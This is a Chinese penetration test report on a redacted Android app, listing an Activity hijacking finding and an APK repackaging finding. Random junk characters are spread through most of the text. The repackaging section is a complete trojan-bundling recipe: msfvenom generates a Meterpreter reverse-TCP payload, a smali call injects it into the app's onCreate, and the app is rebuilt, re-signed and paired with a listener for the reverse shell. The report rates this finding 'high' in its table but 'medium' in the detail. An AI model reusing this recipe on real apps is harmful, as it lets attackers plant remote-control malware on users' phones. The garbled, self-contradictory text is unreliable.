原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

: g2 T+ a6 G0 | f1 g+ A ) y( s2 [6 T0 J) @

4 k# Q- W1 C3 z 文档编号：                3 F% P' D9 j" x) [; N# _- g: h

+ ?9 T3 {/ f5 w; }

7 G/ s- c; n. n- R1 ^6 M   ^# [# n! ^. F) O; ~) \4 _- ~) R 6 P, o+ n' @7 h5 n ~& Q

  4 L2 c: s" V, [% {

0 W# s) G! d" j6 E% T

' h- o8 l% l7 D- g O) m   $ Z' i* U# E2 C' C

# ]# c' C9 L2 ^+ F9 S6 G* z7 A 6 l8 n X: e2 k; G' f% q; U/ v   $ H! B, y0 \7 e! w7 M( z& Q0 H# P

+ a4 z0 J% M# Z! X  

5 J! Z- [5 o, W3 I : d6 s" r; Q7 O$ J3 m/ p

. c+ X) E' G- x4 N 某某某APP渗透测试 ' ] ^0 x, o* m% \$ V1 d

( [# `( _1 {; R6 f0 Y9 S$ d

3 z" k& v- h( o   * B7 ` @8 W9 a0 U+ j

+ }5 V8 P) X& u7 B# j

  3 |! x* v6 _3 I& M* ~2 v+ N. N- v; ^ ' t: {2 N2 \1 C3 ^7 \/ m: a

) w9 K, k* V, v1 q

8 c( S/ {- ], c  

O0 y1 ~; H1 c" P& J) X+ r' _8 @

; Y6 x2 b( J0 o+ p   $ r* u' x3 q( G9 ?% l# k v t) T" w2 [* y, l

1 t3 W% e9 T7 d0 G: g1 ] / b" C! K" N/ Y9 x1 \

技 术 报 告

|' W0 l$ r* F7 h( F3 M

  x0 `5 G$ F2 q. C6 t / d# | o5 ?6 n

# {' V; i( u+ E0 V8 n6 l! q i6 g0 J

6 J0 d; }+ H. f7 F# P7 H* p$ ^ 2 ]# l, w, E/ c; l" E* d   * ~4 e: r1 X0 c2 I' M

& | O2 m( ` a7 n, t ; F: p" \! E1 y/ H; Q8 p2 {: ]

5 O1 b9 ]* S/ r) A) ^. y   ( u7 w* T3 d: Q! m# Y, h/ _ 8 E3 Z' u2 _) x$ f

' l6 u: V5 t! J7 N7 k; A   2 N5 x) t X& v* ~8 I' ]% Q

  * L% f- T0 z7 |3 q! z4 O: m

2 q. }6 N( o7 b5 x   ; i+ _0 }* M9 }2 R! N N" o6 U5 h9 M6 g ; D0 V6 x! U- I' a

7 q% w. c; \7 s' N6 c! B

+ E3 q; b: n `" Y1 n; t0 t+ V- V 6 q/ J* M) V7 }: E2 O3 ?/ `   r1 l7 z X$ a& u% H$ a ) [: B% P9 a. f* U) H

 

7 E# y, H" J7 I6 U1 ^6 U0 X

  & {$ a5 O" {4 Q' f, z o9 E

& f6 |2 Z. l5 @ p1 y  

. T+ L8 Y: H# k& E, O6 {

Z8 _0 M- |* ~/ S. l  

  * r/ s8 v( E! g7 F; e

8 I+ q- p- _+ q! ], P

7 h& A9 h2 }( O$ p2 @; Q0 t   2 X' k! p' g/ O/ g

  " |' e& o' \, |. l

# ]/ z3 ~ e8 `% v, T" u; m, b 8 [0 E& |2 g) Z3 F& Q

! S/ I, _& s; Q' n- P# P/ U 0 `) f% ?. }$ f0 a   ; G. l" U! G5 v6 v6 h, g

7 @' Y% R% J2 i, h" n

  0 M, b# E. d% H7 N& t+ f- V

& ^+ a W/ u1 X" h0 C5 u 9 R8 P2 D2 b( T2 h- \

  1 N; y4 i, u5 d6 ?- f

6 z" W \* \* y4 V- S& s+ L % J7 A2 R( t: ?( v

  M- k, z' ]8 |# ]( h3 e# F( {, [

3 H e+ @( l" C9 g4 k2 x( R. `" j0 ? 1 L- J" }$ u/ E0 m/ B

, J' `; R/ }2 j) B0 o) _ M& R 二〇二〇年

9 m* ]: u2 W. k7 o- X2 k' J

( t( W8 N+ v7 A) b1 \3 p+ d2 ^7 C) u ; g2 R m } k5 F
& O; n; F* |& n) T* _1 _

4 }4 J- S$ R2 V, O" |, [( b / P' T/ y8 o5 t/ K/ w8 o( m
, Q6 v: N: S& q& L |8 s1 x9 S# ?$ R ; }! X, U" ~7 ^( R

: j! l5 ^1 z+ c) E 3 {. t; g) Q( M% w% _

+ q, f1 V" v- m1 `* |3 t ! u7 j r" h: X5 f+ B0 m( |! n 目 录 ; Y- E3 d( w+ a1 j Z/ q& f5 i# Z1 ]5 I3 h: V' I7 X

. }$ ]( d7 F" d" N- H9 y 9 U( i, i2 y9 [' _ $ F' F& l* w; ~3 e3 m' r

  / ]) I& @4 \( K) ]$ i P) N5 j8 i; Q

; m* i8 N: }* m8 J7 F4 V' W6 l& L! s . ^9 y0 {: u, |/ z/ H5 [8 I- H% `4 }8 j 1 概述... 3 - [9 v3 [- i& E6 ?

' @9 ~; [8 f6 ? u5 |! z$ K

1.2测试时间... 3 5 m, N9 d+ l; n& j4 J 6 i7 H2 n) i1 y

2 R& `6 b( _$ |% M * W, @7 C" Y( @6 ^$ k; C6 t4 k9 k

; F6 ^' a2 I# H 9 |3 F5 N/ @, l! N, q1 {: W1 Q, s 1.3测试对象... 3 7 M- j9 y! [! m- H

$ R9 Y; p8 J& [; U- Y) Y # t2 h2 R& B* `* Z( j5 F

8 w/ r* _3 r& c/ f8 V# f 1.4测试结果... 3 6 I. I# S: E$ I ?1 y; e' a! r

: W+ ~; ^6 F& L$ F9 H& q" `

1 j, F' u9 p4 ^/ {( G 2 检测结果... 4 . `% X& S/ U' ~

+ U3 T# B# W8 Q& X5 t, u 1 |! |! v( }& [; S7 m' E8 I3 a G

, |! S8 s ^$ V 2.1 某某某... 4 ) C0 o. J, j' _) w" T

2.1.1检测目标... 4 # o! t' M! h/ b# c$ Q

8 y) _: y% s; `& F" n; [

# S+ `! Q3 P D p1 I 2.1.2检测结果... 4 : k( j5 y" v! Z8 n- R+ q

2.1.2.1. 4

( e& G3 a# h* Q$ `# [ 7 b) j' {% a# z8 d

$ L6 c6 U' W: X* [0 M : V: a. n; ?" t% I 2.1.2.2. 6 $ B: {4 Q# T ?7 a/ ~ 3 X* p; t4 w: l Z, M' o

- w1 z" u! Y; q1 m/ c . n" m6 O: U, s

y+ D i& M3 v5 x& H' l+ B : O# o: o3 q3 d& ~% ?3 I! w# I% l : Y W) Q' R9 Z+ I% |0 U% } ' i/ O& n9 f- c

; v: i: c, s% |& o3 I# e0 @ u, b! @! ?2 ^( k3 _0 A- J5 i + X. Y( P( U" m0 Q

% S# B, {, F3 u+ u' T
" u$ \/ G. x) }& @! E$ J1 f9 m - C# O9 H) B% f; Y) J: v/ i

( s( n1 N: w9 B$ g+ l: W 1 概述 * J' R! k) U9 `; R( {: p 6 X7 U4 |' }1 n- e- T/ D' N( v

% C2 ^$ `1 Q7 T! I

' a/ w# ?* C5 i" ?6 G; s4 Z2 l 1.2测试时间 : T9 V U# c( L2 @- W1 t

. x7 b K- D8 S1 i / p: f5 u3 U" i$ ]6 L2 |8 P) V, J5 s. T5 D9 f( J. R* g- N, J, R, @" k& i3 h1 ]; }$ N- ~ z0 K$ K+ I+ V0 C, q4 x G, O8 ^) n4 t/ ?1 q/ M5 h5 C, `/ y5 P, F1 d- y3 F/ X4 c' c) g$ }" m9 m, z, u4 }% s+ D7 o+ b% \* e: P- n% p, C! q& ~( h* x _' u6 y0 _0 t6 X( m5 H& O6 _4 s) p8 u" d8 \( }- E7 z1 V3 a+ O+ O1 _2 P" J, w$ W4 p& ~1 ~* V7 g; `+ i0 d9 ]. ~8 W! u) Q- ]' @7 }; f$ O) Z7 {; X) V3 ^' X. Y/ A& C5 O' N6 A

, N& W: `5 ?& u. m- {3 m. }) T6 [7 S & s3 y; B( P& q2 j! u 渗透测试时间 - A* ^0 O/ V8 L6 e! T3 r m ; s# O, F5 v9 D" {" Q7 N 0 A7 i8 B2 Y! G) V! X8 J: v
: M1 H( c, ^' @/ g / |# h' U( a7 T, y5 Q ; G2 x6 J) Y- E& {$ M- z 起始时间 # b4 |7 {" x: b	+ N' M) Q( {! H8 [ \/ A k% {" q/ i4 T g % i. e, s" ]# O' c 1 d5 b9 q; H0 W& _: N 2020年4月6日 ; d8 Y2 e$ R8 l7 B% g( ^8 y 8 K, H5 h7 z+ |( z9 Q! K . V9 U6 r1 O( w" L
, D! n. i, J0 R 结束时间 / X1 }2 T) E2 o# V, a 7 ~! T. B# v. q e; D3 `	& i& o2 g2 g; @0 V' P" N 2020年4月9日 ( s1 Y' K: ?6 x: r # J+ e1 R6 w( F, I4 I. p+ l S: g) c 2 V& H5 w+ h9 x; V0 `2 d" m! V5 \ 7 m4 W. S0 ]6 P6 ?% n" D2 K

# r' y* M; t; T* }: Q" j 1.3测试对象 - s1 E. w9 X; X' q

- r# n5 C" B: H% V/ t - C `3 d: X* ]* I% A

& ]3 X1 x+ w& T$ C4 F. a 6 h" t, f% p$ Z! @ 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

9 ^5 ?/ {, K5 J l 表1-1 检测对象 ) q6 |2 p$ J+ n+ K* n% a 4 v% x, t. b% {3 ?& d0 t- n

8 [( t6 F1 }- q( ]( j& e" Q9 G! b0 \: o2 K( T+ x+ c9 ~4 O6 _& \. D9 E; ]0 j! m9 v. k9 G- k7 F; R1 U& w% E3 N9 y: Z$ c, @* R% c+ o9 |# q- X. y- c, d1 Z4 O3 w. d* }1 j! w, D/ ^5 Z# n- @. x) `( w6 [( {0 M( z, A6 {4 ]" h' r3 q' W$ A5 j ^7 a a& o% ^, t7 q5 F( A7 P1 w1 o) y8 \3 R E2 }' @- W8 h/ ?) d0 b" b/ a- Z' c8 z9 Y T% N5 o6 u2 x) y" c7 w: W* V3 @7 C+ N, g& {" z/ [! ~) D4 q0 |2 h# ^, W s d; d4 a' V W( b7 j! d) {$ v" _

7 G' ^) v- O( J 0 F1 v. N" n4 O 序号 7 L1 G/ g+ N& h3 K; f	3 x$ Y5 U2 `# i ?# d 1 k9 R- \/ j4 ]1 B7 ~7 {$ ]$ d+ D 测试对象 " N- u- |, ]& {. o Q" i/ i ( }5 w/ G9 H) E+ z l& s0 | 3 d1 L' Y, Q- o' s" [: G) o	$ o5 Z* [; D+ u2 m& f m 5 i' ?/ Y$ z2 L8 G * D. J, Y% c$ n% a 测试地址 ( {/ A% {! R2 D* r$ B! r, g: q	s( _' m9 e* z. ~& x- p$ K; | 安全漏洞 # W% e. M ~$ v' v
' b/ `. g" l/ u) E( F( o 0 W: N* q4 S- P+ B 0 W$ _5 B3 v3 v* d0 E0 s 1 7 B$ a* e4 g& @; d ( N& v% ~3 B: r9 E	/ C5 J1 T: t2 B3 \ : l. \1 i9 M1 B+ I" G: c 某某某安卓APP ' U) d' c/ Y0 d1 R! N, Y	' C! H! T. q1 P6 y   ( b# P" H" f( O3 b	; s) o7 @% q5 z' W- [" c$ T i ! V3 k) X2 q, L6 T/ w" c 2 % i; j4 j7 ?' R5 J6 p" f 0 j# E4 U! Q6 @! ] ( W8 R8 b* X! M) U- M% J : ^( W4 J" C; o( ?/ X# M9 \6 _ P& c

' ]* W% S f E; h8 R$ I 8 J& A: B4 i1 B

3 j6 q$ g. E0 e# M; H 1.4测试结果 ( G/ G- Z M3 v+ t! W 3 k/ ]" d/ B7 F3 Y0 @ j

& ~9 K2 g& w& ] : ^) a2 A0 m5 p

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： $ f! q, @9 Q7 ]) g$ T 9 Y6 d9 |4 W0 Z/ S( R

4 N% H5 j& {0 t% \1 b# Y2 Y

+ b- u) Y- K& D# w2 q0 W- L' ?6 m8 ~ 7 n, \- A# N, U" l  

. ?: M. e, N2 C& V) B

5 f$ A: [& d: A6 [ 8 D, j: }; u( O+ s& h( R `" n/ J, R# d+ V8 \9 l1 Y! |! P4 R/ W2 e- V4 i7 h& Q T- q5 V7 T, m" S4 H& L& B* q6 }' W" n/ D" J- e' F! V4 y7 j4 c& s7 N: s4 X. q& |/ ~- s9 a2 w0 Y* {1 Z) X/ p& Y2 x& X8 p1 A* r' p0 c W7 [. ~2 M& E& Z! X x# ~! G' g! p1 P. F+ U0 {+ M, {/ ^/ y+ N: d f7 ]5 ?4 a& _$ t0 W7 G! b' d" }# e3 Z3 i: z5 j! E* j4 `8 I e& l! u) M0 ]6 A+ B2 ?; f d h7 y5 [6 o4 v4 t: `0 A$ @8 _$ e3 ~( G1 u e5 U E" d; x0 l5 Q8 X# v5 m4 H) T. K% P9 b& F* V/ D; T7 u6 J8 ]1 `( |: [6 K& e' A8 t: H+ n( D) _* D! ]+ r& d6 U8 B* S3 g8 j( R# _% C0 a" M6 m. h* Q- K: K; J0 ?$ O& E* y. ?- I: F, d/ ^9 y' o, m F3 c% k+ N% N$ h, p# F0 ^1 B6 j. G5 _7 k R

/ ~ D8 h2 o8 Y! F# S/ s2 Q 0 M) E! s; B& t* w# @3 v5 j! Y 序号 9 K5 n+ p% r4 j" i" T E+ {1 j , g+ E; T( Y6 u7 u" f( _	! \; E; y% @( C! S' ^9 P / j# J* q9 c; _) G% l6 x 系统名称 3 l- |* ?: x+ ^7 v+ \8 o8 c * C/ I% d4 p; O- |6 H	* ?) T# Y6 ]8 p7 V" U" y ( D7 e; G+ M6 h! x3 h 漏洞名称 * X3 d/ |: j; Y $ Z* |& M0 M( u5 q% D 9 S) e1 w1 S- M0 \* g$ o0 }	V8 P. b, o1 i2 M: b7 r1 U7 I & G! G( d! M6 ]* O R e 漏洞危害 5 C. O/ K3 n! c* \) d' _ 1 [% a1 k2 y, n + N$ H" K) O) y4 X+ {# P7 K1 C	% ~1 d2 V) U$ A+ ^# B 修复结果 & U5 }! g* |- q0 Q6 ? ?: _# ] : B. u* ]8 v; x$ w1 m) S& c1 X$ j$ S
2 Y0 m8 A. F! R% _2 s 1 : v K* |6 P) \( W ( ^2 [. Y3 V5 j	$ ?& o7 o5 V1 `# ^6 c0 L% d# ~ 某某某某某某APP ) s' |0 A* J8 M- G: @- T7 w5 J" g k( ~; b# }+ P' S- X# M Q 8 z0 S+ u: c' |) i: R4 e3 z	# f2 {, P/ P; j* U- V* Y7 m7 k Activity 劫持 8 f2 o) m% X f1 [ 2 D s( ~; L y. ]   + j/ H0 ]* V0 J. x G% u + q1 w/ C% Z- \5 j: A3 h- x$ ~ 3 { G+ X0 y* S$ y; M	% m* j: v% b% f. @ # W3 N5 x3 K+ ?/ _6 M , G: @+ r& A- P% N 5 H: t, a. l8 D6 M$ Q 高 ! {4 y0 p* d' H9 ]$ O: F* }# O; G8 N " ^, F; c' m4 h- \- F' v8 A V' k	' m! _+ @* m G! p( [   ! F6 r; P' X4 W9 B& S / s# a3 A& K v1 O+ T 1 i' l C4 [+ z b 2 B4 Z' x1 F$ A" t
4 E, d. C; i( X+ T+ T& u " k5 X9 G1 v2 {8 b! C 2 : {- b1 f& Z% H9 a	# g; f1 | P; G3 \4 x. {4 H . E/ I% V5 r" A5 p 某某某某某某APP : ^& ]$ X) B3 ~! \6 J" r 6 Z* d: B k: k" h4 c/ X4 T$ M	2 ]$ s* w7 @, s" o7 U& H R 5 y( V! H8 `+ h% t- E; [% B! g5 w, | 反编译二次打包捆绑木马、篡改APP代码 9 ~9 O7 s0 N( d. W* O3 D$ i- \ # d) x( ^# K$ I/ o9 x1 w$ X' ?) ]	) O( p: E E1 H+ L" W/ k 高 / p; n( N6 Y+ Z+ `2 F6 W8 ^& v	* V9 W( g2 Y- g9 A" c 6 a4 Y# | _9 P5 E7 S3 Q) g/ n# \! y! {   7 V8 D: ?1 x; R. {6 X8 m1 Y 8 V0 C; E0 w( z) a # K0 j, o0 p/ A" S

9 x; k/ K( ]: @& U- z; l+ L; {# L

+ ?* o2 x0 q: \) {1 f   6 a! J5 u( |6 b! @% I- j

+ A0 @" R, E# `1 B5 }8 |! f ~9 }/ r1 v1 N# e' r+ I

' O# M8 W" }1 H% e) W 表1-2 测试结果

  % l9 j O. S9 h9 p) ]4 b) ], [

4 U/ A6 F F5 y) s6 [ 7 {/ J: T6 j7 {2 n

2 检测结果                   

4 X+ X% G$ K$ d& Z2 g: x

( C7 f( G% q, d/ s$ w* }! v 2.1 某某某 - S, g y O0 }0 E) {

1 Z4 n( H8 ^/ f: b ) f( E6 h* u. F: l8 w1 r0 _

2.1.1检测目标 9 }) G" g- I; Z8 G

. B0 F: G0 h' O) t/ U

' s" y/ i, M& y/ e; f5 Q+ B 目标地址： 某某某某某某APP 8 g+ C1 H1 n& f 8 r4 O3 l! e# d9 u0 ~

$ C# r. J: ]! q% g- k4 n

/ o: c6 H$ U- W0 |) B" t 2.1.2检测结果 & N: P; K+ E i4 @7 v

6 J4 ^ ~5 w9 C; M! U

; \4 F/ {& `' A7 u# H6 g( D) n8 ` 2.1.2.1 ) O5 I. l' w6 F # b8 {7 B8 z* u3 _

0 y0 O( t8 F; s+ g+ \) E5 _/ I; _ * ~% l5 ~$ ^3 c, V

5 h- k6 R w3 n) {. {8 N 漏洞链接地址：某某某某某某APP 2 H5 x$ M+ |; m* ~: Y5 [0 g0 S" U. `% b/ \

' q5 z N# v! ^0 P 2 |0 \; }0 t) O; ]( z N- {

' l0 ^ L% P) w: H ) ?% K1 p9 B: i4 K   ; ~ g( R3 N8 r6 e; U" g0 m

d9 x* R, ?+ X( A, | 漏洞分析及取证： 3 V( W5 ?+ ^; F . @# N" y' F$ U+ l- y1 y" b: `

3 [& W' U% N# [" F , I" u. B8 V5 f2 t# z: J

: ^. l4 N* _! n' ] t% D" X                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ' a& Y# O9 R1 y. k- T4 [2 X

) Z& Z6 t9 K0 n9 P6 ~. A+ Y; o 0 A X4 x q& F5 `8 M \

) ]9 X, p1 ]0 i      1 o4 f& s- `' _8 ]; n8 [& t( S

3 I! j$ A v/ L7 R3 U, u 8 o5 a) W3 L5 G$ l7 z+ y/ m- ?6 N

9 Y( s. j" f' g / l8 f5 P& H) h1 f                      

7 ^5 r. o: ~! x7 Z" T1 C

/ O: ~4 b$ f2 R6 t4 B! r8 a4 M+ | 3 D. C# L7 c* X- Z7 H: j 3 Z; U V3 @# w& R1 c

: W# }# [1 l7 `" f% F- x

3 z4 o) Z4 @4 W, `

7 U- s6 V5 {4 R4 r8 }2 N T " ~8 y A, w2 @

漏洞危害：高

3 B3 Q( d) Y+ | 3 W% r$ I, `4 j0 ]4 f) d9 w

% o( b9 A2 |. H $ O) t- v* \/ R$ f" w- j) T* R3 A a8 ^# y1 F# {* a7 e1 K2 K' Y4 O8 y$ R& X5 ]6 L) Q/ R# F0 g; M, ^! R9 W7 U, Q" `( u4 H0 _+ E8 W" W6 j; A+ | z" K7 q' w( i3 P& D7 \% M( R4 \" O" Z" ]3 R0 |) R3 J% W# l1 P5 O* e u6 t6 }7 T+ k. V

4 I: J( l& g, z' E- R 严重程度 ) T# s! m+ P4 I G# ?+ V% ` + T- ~9 W; H& Y+ B D# e9 ^4 s7 j" [8 q	) q5 v8 o4 b$ y. c! n5 [ X9 | ) c. l$ Q( L( t' \; ^; ] 高 7 P* E1 l6 `, {+ u/ |	% U3 E2 } t @- C9 o* y 1 I5 J7 F% q/ L9 i9 ] 0 d: N/ F4 b8 W* @7 _ ■ , x/ @$ h0 g: L$ M6 ?8 `- v" k % d4 W9 A. b* Z	. ~; e) {3 K' U/ c1 w* D2 L 中 5 \5 N: g! ?3 P6 \7 f	" m A- m) c6 N% d 2 }, T; \8 R' w9 u4 e! z' Y   % J- o) b8 @2 b2 I/ Y8 M / V$ w3 B( a; [. Z& _ e 3 _7 q9 L4 [6 N8 B' D2 D( e	4 H' t; W, b. k 5 d) V- a5 W( J" l* T) m 5 ]9 d3 W9 g l) K7 N# u 低 5 y* S( u, J# `3 j- i , V# X8 R! \: {; S0 C * ]1 c; p8 F9 m5 T	4 j* G) E" w. l : m& O! ^8 l% F X8 q0 \( S   # [6 l, u6 w3 u. Q0 B. l ( I) ?4 u3 l& ^4 R1 R3 B6 `+ T 5 C8 g9 I5 Q, f# M

* q4 H; i+ { ` 8 C+ L* w' A7 s0 P

9 A5 G. i7 [1 y' d, o( T! d t O   6 p8 ^ a. a. `4 t3 ]' m4 P

% h& x8 d# O/ F: k' j3 U

) C+ M) f- F- [ 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 , N" ?- a9 W* G: |

( T+ z- j g4 M. u

7 ]% Y- b# Q$ r           ! J2 q q1 |# s" W

9 f5 H+ n' `+ n- A& g

 

|1 _2 `' y7 Q/ u' \; l

2.1.2.2

. s' \# z3 ~* `5 i3 p: C5 g

漏洞链接地址：某某某某某某APP

/ [7 b: O5 k) y

$ w! A4 Z$ @4 T! T% G% P" \( k 漏洞分析及取证： 9 q0 u4 t& S3 e+ R1 p1 d* N

# b) y9 A3 A3 k4 }

. }4 R/ R/ L6 F 0 N% B( W6 F. t/ {$ R% k                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 3 _4 m" C* g( O& h i- w8 r

+ g0 W1 B7 t% {) t, R& a0 z1 s5 y 1 w( n1 _, v/ e# I4 m8 m* V

! ?) R2 N0 N. \$ I 用Metasploit 生成木马 apk . }' N, E, J1 }) R! W

; K" U4 K# G% a3 A5 u

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ' w8 u. {! J, D' g; ~1 Q5 z % @4 ~& V7 a) H* }; F% a% B

! h1 V4 m3 _( U$ Z" n) h% ^ 4 v! d7 g8 b# [6 u' n

8 a2 T6 s( X9 \! L" c 反编译目标apk和木马apk ' D# P6 V* M" X* Q2 ^# G

) G, k5 C8 z0 `' Q N

apktool d target.apk
apktool d cockhorse.apk 5 k8 U% I5 L5 l0 N9 j

: z, e& S8 U' g) v$ p

! N# Y" S5 y! m7 Z4 ?) \# H+ ]2 } 木马 apk 注入目标 apk : s7 D, A9 B( W- k/ t8 P

|& w) U% O+ C l' l/ y : V) t, {% f5 n, M1 Y# N$ O 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
' O. v' y* o# a5 x! e7 u" } : k0 r. k, d* y8 E. t) h) J, U invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

7 B: w; d/ O7 k

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 / d; } D% q& | o9 Y

; |! j7 n( Z. ^1 y' j! S. l

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 / I- ~, S+ q( A1 t0 K7 p& w- ?& K ) ?- v# F) z3 i, H

! C: {! g: p& |* t# M 3 x( k( H: v: Z9 z

: s0 c8 I2 [" S9 R- W: q5 n 回编译生成最终 apk

- z7 j- R5 R) v# I: V6 f, Z* j

5 B" n' t2 E3 O- h5 g1 V9 R& s 重新打包 # H/ k- [. K+ R

7 j8 n- o# o; v; H8 d0 i- q' r apktool b -o repackage.apk target_app_floder 4 D! n& t8 D1 E; _ \5 I6 V

v; y: p6 W/ j7 [ 3 J. B. W H8 l; M

创建签名文件，有的话可忽略此步骤 " e# q0 S8 p4 m& g% n ; T9 ]/ J! e" W; Z' i5 r

9 T2 Z3 C1 i0 g+ M- N 8 _9 w1 z' I' k8 J: W# `0 \8 D keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                . N2 ~9 i1 o3 p. ^

1 i3 } q+ H% |0 D: N4 L: `, H, N/ o

- x/ c! W6 h' ]% ? p * M" S+ r. S# u* W7 X 签名，以下任选其一 " \$ y" j8 B* `& _

* g- I! D# {8 {: Q: Z

2 ^+ D8 ^1 N; y, H+ z( x7 T jarsigner 方式 & W5 u) P' M1 M. A+ I + |: E- {7 n( r) C

( T4 |& A8 f9 i" m; u9 }6 r

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

+ L- Q: Z5 S% q+ ?; A1 S 5 n- ?: g* {' f

$ O4 {: D& j; a( X9 t' D9 `: G apksigner 方式 8 `. X& b8 k3 K- ]& V( s, f* e$ ` ' Q: \# r( `) c! Z9 i

$ Q2 a5 }8 R2 D. u . K8 ~- l+ a2 O+ b' D' r/ q7 @% a

- \7 s V; d* k; r apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk : h' w4 _2 v9 J : O! Z- Z6 [0 h/ j( P5 t" z) j

如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 n' Z. {1 ]% P5 H0 B4 s4 g 5 u9 @' y6 d S9 T* Y* l

' H9 g: r$ P* p% H1 [% G8 D 1 n/ Y; n( N" g* o

验证，以下任选其一 5 b m) H: }' g: Z) m

3 F* N! u% p- ~& }! m( G+ @# `. k) O jarsigner方式 # {8 h& H; b1 S; e

J5 h$ O' E" H% M $ Y) `2 V) ~9 u, n: q3 t+ G

" t o9 x* R* E1 \; y: B4 N9 n jarsigner -verify repackaged.apk , l4 ^# Q& Y; ?) `1 h/ h 1 I1 c$ @+ I4 b! L

; b4 A4 W2 F' F3 z/ X- u Z7 d

apksigner 方式 . w0 k0 P U: E$ ~ - P5 q- E# v" N; L$ c& c

* G! E) [ q6 ^( d/ r8 I; m# h, f " A0 i' X4 K8 ^8 s; \ apksigner verify -v --print-certs repackaged.apk ; q* G% \. r7 i% |- C# D% V ) K7 |' `0 _! K \" e

! a( l3 u; s5 B! g" Z. H9 V

2 C% y5 V; V/ ~( b* e keytool方式 6 x! o9 ~# o. f [* z9 x8 S2 J m8 D0 e. B

+ j. K( u8 x: G$ X/ ^% O6 N! w% j + h6 \' {0 c. b: G$ a. e! ?% B( J

( ~, L, I" O5 P% ^ keytool -printcert -jarfile repackaged.apk " |' ?% S' ^. M4 H9 Z! l! y) W

- l b9 D$ l. u. w' C% K

- s, N( K+ R" g7 H 6 y$ N0 \* p0 g) l0 z" R$ p 对齐 % k; Z6 _3 d3 H u( ]9 ~ 1 |& ~% z; d: u# ^( m2 f

: Y+ q4 G" b. u9 [6 w, ` 1 N' @1 P) R ]5 `

4 a$ _% v; ^2 q4 H; |/ v 字节对齐优化 3 S$ T9 I4 j( V8 `& N4 ~7 W ( ?# E: j1 X1 t

" o: A) N. E4 x/ O

: H# _2 e" d2 K zipalign -v 4 repackaged.apk final.apk : D7 E/ B( B/ Q

& Q" v1 l8 \- h: J5 K 检查是否对齐

) I2 L4 o/ a0 H/ _6 o2 D

9 V$ \; E5 W/ h6 y+ Z zipalign -c -v 4 final.apk 5 [% t0 u; O1 W' M

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ) H$ o" H# t3 ~3 u

1 a+ d6 g* G2 W" G3 m : S/ ?+ Y& z( e5 l8 W

) v3 e5 P- B- |5 E2 M * f- T3 u$ J6 N; u" S! {; r 启动Metasploit控制台，配置参数等待上线 8 e3 w* T* @* X# ] 4 p7 Q1 D4 L7 E/ w5 Z2 u8 }: W

3 ^/ s# \4 U7 l" P" `. D2 X' N4 ]

! ] m0 t4 k- k: L! h - F$ g0 y! D. t- S7 e 在终端依次输入如下命令

: Y/ k/ U4 z6 j3 G% x G, h msfconsole

$ H0 x6 U+ }, V: a& h5 W1 L

$ f, @: t- b8 d$ O. K3 K. J use exploit/multi/handler 6 M0 z3 `9 g0 D0 c4 _ 3 X$ a1 i3 W( d( b

set PAYLOAD android/meterpreter/reverse_tcp

, U- H* o8 W* S' N1 O( I & @: X! X; t# C8 [ set LHOST 192.xxx.xx.xx d$ V7 N" r# |$ z/ D& t) o# X% z % ?: O4 @2 U6 ], ]: B7 S

set LPORT 4444 0 u9 f1 L; U5 O: s3 j

& ^! a6 ~# H. f& h " L* P# `! V6 e+ G! u

7 d7 b6 y/ B# R6 y# w; ? $ h: H) E# @% m1 d X0 k exploit ; r( `2 o* b" Q% ?, t- J 0 t& \# i5 T, Q8 }

2 E9 L1 o/ u* n- Y; r 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ( _/ W/ j3 _* }5 L ' Y) I8 C% \) m/ L+ a+ R4 m

' L5 [; D$ q1 ~7 I4 \ N$ J! x0 H# M# I+ l o

/ Y1 }6 e8 _/ r& D6 `" ? 漏洞危害：中 ! C- ?8 _! A, U$ Q- G

) B# K! f( I: X8 k

1 y& a- q3 b% g4 r8 J4 B ; ?# ` K& a. _, g4 O* [6 x 4 H* {; L8 B9 ^4 ? 1 B" v& o8 k% g& |6 V/ s* [7 @5 {6 o6 P+ Y9 A( E& G! f2 A# c9 v" t. s7 e8 V, m# }$ N1 w: f' D$ m4 x! F1 N: G% H% a0 x- q- L! j8 s2 d6 p& `! E9 P) U5 y6 U& i6 p; n- n! D/ d1 q1 {- F. ]( l/ p* Z/ ^; m0 Z7 S6 D9 h s/ z6 i! K- M1 T6 J4 ~: l' {: m2 ~9 u$ c) O/ N) n) |5 z2 P; Z: V" h" j- ]" x) I. D. j) ^% X& v

